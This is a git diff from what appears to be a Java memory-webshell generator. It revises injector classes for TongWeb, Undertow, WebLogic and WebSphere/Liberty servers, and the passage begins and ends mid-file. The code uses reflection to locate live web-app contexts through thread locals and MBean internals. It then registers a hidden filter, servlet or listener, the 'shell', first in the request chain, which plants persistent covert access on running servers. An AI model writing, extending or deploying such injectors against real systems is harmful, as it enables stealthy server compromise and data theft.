+ } + + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + @SuppressWarnings("all") private String getErrorMessage(Throwable throwable) { PrintStream printStream = null; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java index 081cee56..343e8a12 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java @@ -35,7 +35,7 @@ public TongWebListenerInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -96,7 +96,7 @@ public Set getContext() throws Exception { return contexts; } - private ClassLoader getWebAppClassLoader(Object context) { + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); } catch (Exception e) { @@ -218,30 +218,25 @@ public static void setFieldValue(final Object obj, final String fieldName, final } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index 8524c63e..7562ba40 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -35,7 +35,7 @@ public TongWebValveInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java index 878ca8af..7322518b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java @@ -7,7 +7,10 @@ import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; @@ -40,7 +43,7 @@ public UndertowFilterInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -75,6 +78,7 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } + @SuppressWarnings("Duplicates") public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -129,6 +133,8 @@ public void inject(Object context, Object filter) throws Exception { Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null); invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST}); + // invalidate cache + invokeMethod(invokeMethod(deploymentImpl, "getServletPaths", null, null), "invalidate", null, null); } @SuppressWarnings("unchecked") @@ -213,30 +219,25 @@ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldEx @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java index 51cabeca..095f5a5d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java @@ -40,7 +40,7 @@ public UndertowListenerInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -191,30 +191,25 @@ public static Object getFieldValue(Object obj, String name) throws Exception { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java index b5acc74b..de5611c5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java @@ -44,7 +44,7 @@ public UndertowServletInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -213,30 +213,25 @@ public static void setFieldValue(final Object obj, final String fieldName, final @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java index 6b29c215..3c0b0bc6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java @@ -1,13 +1,17 @@ package com.reajason.javaweb.memshell.injector.weblogic; +import javax.management.MBeanServer; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.PrintStream; -import java.lang.reflect.Array; +import java.lang.management.ManagementFactory; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -40,7 +44,7 @@ public WebLogicFilterInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -75,93 +79,38 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public static Object[] getContextsByMbean() throws Throwable { - Set webappContexts = new HashSet(); - Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); - Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); - Method theOneMethod = serverRuntimeClass.getMethod("theOne"); - theOneMethod.setAccessible(true); - Object serverRuntime = theOneMethod.invoke(null); - Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); - getApplicationRuntimesMethod.setAccessible(true); - Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); - int applicationRuntimeSize = Array.getLength(applicationRuntimes); - for (int i = 0; i < applicationRuntimeSize; i++) { - Object applicationRuntime = Array.get(applicationRuntimes, i); - try { - Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes"); - Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime); - int componentRuntimeSize = Array.getLength(componentRuntimes); - for (int j = 0; j < componentRuntimeSize; j++) { - Object context = getFieldValue(Array.get(componentRuntimes, j), "context"); - if (webAppServletContextClass.isInstance(context)) { - webappContexts.add(context); - } - } - } catch (Throwable ignored) { - } - - try { - Set childrenSet = (Set) getFieldValue(applicationRuntime, "children"); - for (Object componentRuntime : childrenSet) { - try { - Object context = getFieldValue(componentRuntime, "context"); - if (webAppServletContextClass.isInstance(context)) { - webappContexts.add(context); - } - } catch (Throwable ignored) { - } - } - } catch (Throwable ignored) { - } - } - return webappContexts.toArray(); - } - - public static Object[] getContextsByThreads() throws Throwable { - Set webappContexts = new HashSet(); - Set threads = Thread.getAllStackTraces().keySet(); - for (Thread thread : threads) { - if (thread != null) { - Object workEntry = getFieldValue(thread, "workEntry"); - if (workEntry != null) { - try { - Object context = null; - Object connectionHandler = getFieldValue(workEntry, "connectionHandler"); - if (connectionHandler != null) { - Object request = getFieldValue(connectionHandler, "request"); - if (request != null) { - context = getFieldValue(request, "context"); - } - } - if (context == null) { - context = getFieldValue(workEntry, "context"); - } - - if (context != null) { - webappContexts.add(context); - } - } catch (Throwable ignored) { - } - } - } - } - return webappContexts.toArray(); - } - /** * weblogic.servlet.internal.WebAppServletContext * /opt/oracle/wls1036/server/lib/weblogic.jar * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar */ - public static Set getContext() { + public static Set getContext() throws Exception { Set webappContexts = new HashSet(); - try { - webappContexts.addAll(Arrays.asList(getContextsByMbean())); - } catch (Throwable ignored) { + MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer(); + Map objectsByObjectName = (Map) getFieldValue(platformMBeanServer, "objectsByObjectName"); + for (Map.Entry entry : objectsByObjectName.entrySet()) { + String key = entry.getKey(); + if (key.contains("Type=WebAppComponentRuntime")) { + Object value = entry.getValue(); + Object managedResource = getFieldValue(value, "managedResource"); + if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) { + webappContexts.add(getFieldValue(managedResource, "context")); + } + } } try { - webappContexts.addAll(Arrays.asList(getContextsByThreads())); + Object workEntry = getFieldValue(Thread.currentThread(), "workEntry"); + Object request = null; + try { + Object connectionHandler = getFieldValue(workEntry, "connectionHandler"); + request = getFieldValue(connectionHandler, "request"); + } catch (Exception x) { + // WebLogic 10.3.6 + request = workEntry; + } + if (request != null) { + webappContexts.add(getFieldValue(request, "context")); + } } catch (Throwable ignored) { } return webappContexts; @@ -193,20 +142,14 @@ private Object getShell(Object context) throws Exception { @SuppressWarnings("unchecked") public void inject(Object context, Object filter) throws Exception { - Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters"); - for (Object obj : filters.keySet()) { - if (obj.toString().contains(getClassName())) { + Object filterManager = invokeMethod(context, "getFilterManager", null, null); + if (((Map) getFieldValue(filterManager, "filters")).containsKey(getClassName())) { return; - } } - Object filterManager = invokeMethod(context, "getFilterManager", null, null); - Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null); - Map> cachedClasses = (Map>) getFieldValue(servletClassLoader, "cachedClasses"); - cachedClasses.put(getClassName(), filter.getClass()); invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}}); List filterPatternList = (List) getFieldValue(filterManager, "filterPatternList"); - Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1); - filterPatternList.add(0, currentMapping); + Object curFilterInfo = filterPatternList.remove(filterPatternList.size() - 1); + filterPatternList.add(0, curFilterInfo); } @Override @@ -248,30 +191,25 @@ public static byte[] gzipDecompress(byte[] compressedData) throws IOException { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java index 1fec6c6d..e20ee762 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java @@ -1,16 +1,15 @@ package com.reajason.javaweb.memshell.injector.weblogic; +import javax.management.MBeanServer; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.PrintStream; +import java.lang.management.ManagementFactory; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.Arrays; -import java.util.HashSet; -import java.util.List; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; @@ -40,7 +39,7 @@ public WebLogicListenerInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -75,88 +74,39 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - static Object[] getContextsByMbean() throws Throwable { - Set webappContexts = new HashSet(); - Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); - Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); - Method theOneMethod = serverRuntimeClass.getMethod("theOne"); - theOneMethod.setAccessible(true); - Object serverRuntime = theOneMethod.invoke(null); - Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); - getApplicationRuntimesMethod.setAccessible(true); - Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); - int applicationRuntimeSize = Array.getLength(applicationRuntimes); - for (int i = 0; i < applicationRuntimeSize; i++) { - Object applicationRuntime = Array.get(applicationRuntimes, i); - try { - Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes"); - Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime); - int componentRuntimeSize = Array.getLength(componentRuntimes); - for (int j = 0; j < componentRuntimeSize; j++) { - Object context = getFieldValue(Array.get(componentRuntimes, j), "context"); - if (webAppServletContextClass.isInstance(context)) { - webappContexts.add(context); - } - } - } catch (Throwable ignored) { - } - - try { - Set childrenSet = (Set) getFieldValue(applicationRuntime, "children"); - for (Object componentRuntime : childrenSet) { - try { - Object context = getFieldValue(componentRuntime, "context"); - if (webAppServletContextClass.isInstance(context)) { - webappContexts.add(context); - } - } catch (Throwable ignored) { - } - } - } catch (Throwable ignored) { - } - } - return webappContexts.toArray(); - } - public static Object[] getContextsByThreads() throws Throwable { + /** + * weblogic.servlet.internal.WebAppServletContext + * /opt/oracle/wls1036/server/lib/weblogic.jar + * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar + */ + public static Set getContext() throws Exception { Set webappContexts = new HashSet(); - Set threads = Thread.getAllStackTraces().keySet(); - for (Thread thread : threads) { - if (thread != null) { - Object workEntry = getFieldValue(thread, "workEntry"); - if (workEntry != null) { - try { - Object context = null; - Object connectionHandler = getFieldValue(workEntry, "connectionHandler"); - if (connectionHandler != null) { - Object request = getFieldValue(connectionHandler, "request"); - if (request != null) { - context = getFieldValue(request, "context"); - } - } - if (context == null) { - context = getFieldValue(workEntry, "context"); - } - - if (context != null) { - webappContexts.add(context); - } - } catch (Throwable ignored) { - } + MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer(); + Map objectsByObjectName = (Map) getFieldValue(platformMBeanServer, "objectsByObjectName"); + for (Map.Entry entry : objectsByObjectName.entrySet()) { + String key = entry.getKey(); + if (key.contains("Type=WebAppComponentRuntime")) { + Object value = entry.getValue(); + Object managedResource = getFieldValue(value, "managedResource"); + if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) { + webappContexts.add(getFieldValue(managedResource, "context")); } } } - return webappContexts.toArray(); - } - - public static Set getContext() { - Set webappContexts = new HashSet(); - try { - webappContexts.addAll(Arrays.asList(getContextsByMbean())); - } catch (Throwable ignored) { - } try { - webappContexts.addAll(Arrays.asList(getContextsByThreads())); + Object workEntry = getFieldValue(Thread.currentThread(), "workEntry"); + Object request = null; + try { + Object connectionHandler = getFieldValue(workEntry, "connectionHandler"); + request = getFieldValue(connectionHandler, "request"); + } catch (Exception x) { + // WebLogic 10.3.6 + request = workEntry; + } + if (request != null) { + webappContexts.add(getFieldValue(request, "context")); + } } catch (Throwable ignored) { } return webappContexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java index a2252b68..e8c961cc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java @@ -1,10 +1,12 @@ package com.reajason.javaweb.memshell.injector.weblogic; +import javax.management.MBeanServer; import javax.servlet.Servlet; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.PrintStream; +import java.lang.management.ManagementFactory; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; @@ -45,7 +47,7 @@ public WebLogicServletInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -80,88 +82,39 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public static Object[] getContextsByMbean() throws Throwable { - Set webappContexts = new HashSet(); - Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); - Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); - Method theOneMethod = serverRuntimeClass.getMethod("theOne"); - theOneMethod.setAccessible(true); - Object serverRuntime = theOneMethod.invoke(null); - Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); - getApplicationRuntimesMethod.setAccessible(true); - Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); - int applicationRuntimeSize = Array.getLength(applicationRuntimes); - for (int i = 0; i < applicationRuntimeSize; i++) { - Object applicationRuntime = Array.get(applicationRuntimes, i); - try { - Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes"); - Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime); - int componentRuntimeSize = Array.getLength(componentRuntimes); - for (int j = 0; j < componentRuntimeSize; j++) { - Object context = getFieldValue(Array.get(componentRuntimes, j), "context"); - if (webAppServletContextClass.isInstance(context)) { - webappContexts.add(context); - } - } - } catch (Throwable ignored) { - } - - try { - Set childrenSet = (Set) getFieldValue(applicationRuntime, "children"); - for (Object componentRuntime : childrenSet) { - try { - Object context = getFieldValue(componentRuntime, "context"); - if (webAppServletContextClass.isInstance(context)) { - webappContexts.add(context); - } - } catch (Throwable ignored) { - } - } - } catch (Throwable ignored) { - } - } - return webappContexts.toArray(); - } - public static Object[] getContextsByThreads() throws Throwable { + /** + * weblogic.servlet.internal.WebAppServletContext + * /opt/oracle/wls1036/server/lib/weblogic.jar + * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar + */ + public static Set getContext() throws Exception { Set webappContexts = new HashSet(); - Set threads = Thread.getAllStackTraces().keySet(); - for (Thread thread : threads) { - if (thread != null) { - Object workEntry = getFieldValue(thread, "workEntry"); - if (workEntry != null) { - try { - Object context = null; - Object connectionHandler = getFieldValue(workEntry, "connectionHandler"); - if (connectionHandler != null) { - Object request = getFieldValue(connectionHandler, "request"); - if (request != null) { - context = getFieldValue(request, "context"); - } - } - if (context == null) { - context = getFieldValue(workEntry, "context"); - } - - if (context != null) { - webappContexts.add(context); - } - } catch (Throwable ignored) { - } + MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer(); + Map objectsByObjectName = (Map) getFieldValue(platformMBeanServer, "objectsByObjectName"); + for (Map.Entry entry : objectsByObjectName.entrySet()) { + String key = entry.getKey(); + if (key.contains("Type=WebAppComponentRuntime")) { + Object value = entry.getValue(); + Object managedResource = getFieldValue(value, "managedResource"); + if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) { + webappContexts.add(getFieldValue(managedResource, "context")); } } } - return webappContexts.toArray(); - } - - public static Set getContext() { - Set webappContexts = new HashSet(); try { - webappContexts.addAll(Arrays.asList(getContextsByMbean())); - } catch (Throwable ignored) { - } - try { - webappContexts.addAll(Arrays.asList(getContextsByThreads())); + Object workEntry = getFieldValue(Thread.currentThread(), "workEntry"); + Object request = null; + try { + Object connectionHandler = getFieldValue(workEntry, "connectionHandler"); + request = getFieldValue(connectionHandler, "request"); + } catch (Exception x) { + // WebLogic 10.3.6 + request = workEntry; + } + if (request != null) { + webappContexts.add(getFieldValue(request, "context")); + } } catch (Throwable ignored) { } return webappContexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java index 3b9f9107..e0e44596 100755 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memshell.injector.websphere; -import javax.servlet.Filter; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; @@ -9,14 +8,12 @@ import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashSet; +import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; /** - * tested v7、v8 - * update 2023/07/08 - * * @author ReaJason */ public class WebSphereFilterInjector { @@ -46,7 +43,7 @@ public WebSphereFilterInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -87,11 +84,32 @@ private String getContextRoot(Object context) { */ public Set getContext() throws Exception { Set contexts = new HashSet(); - Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); - for (Object wsThreadLocal : wsThreadLocals) { + Object[] threadLocals = null; + boolean raw = false; + try { + // WebSphere Liberty + threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); + } catch (NoSuchFieldException ignored) { + } + if (threadLocals == null) { + // Open Liberty + threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table"); + raw = true; + } + for (Object threadLocal : threadLocals) { + if (threadLocal == null) { + continue; + } + Object value = threadLocal; + if (raw) { + value = getFieldValue(threadLocal, "value"); + } + if (value == null) { + continue; + } // for websphere 7.x - if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { - Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); + if (value.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFieldValue(value, "stack"); for (Object stack : stackList) { try { Object config = getFieldValue(stack, "config"); @@ -99,8 +117,9 @@ public Set getContext() throws Exception { } catch (Exception ignored) { } } - } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; - contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); + } else if (value.getClass().getName().endsWith("WebContainerRequestState")) { + Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null); + contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context")); } } return contexts; @@ -132,43 +151,42 @@ private Object getShell(Object context) throws Exception { @SuppressWarnings("unchecked") public void inject(Object context, Object filter) throws Exception { - Object webAppConfiguration = getFieldValue(context, "config"); - if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) { + Object webAppConfig = getFieldValue(context, "config"); + if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) { return; } - ClassLoader classLoader = context.getClass().getClassLoader(); - Class filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping"); - Class iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig"); - Class iServletConfigClass = 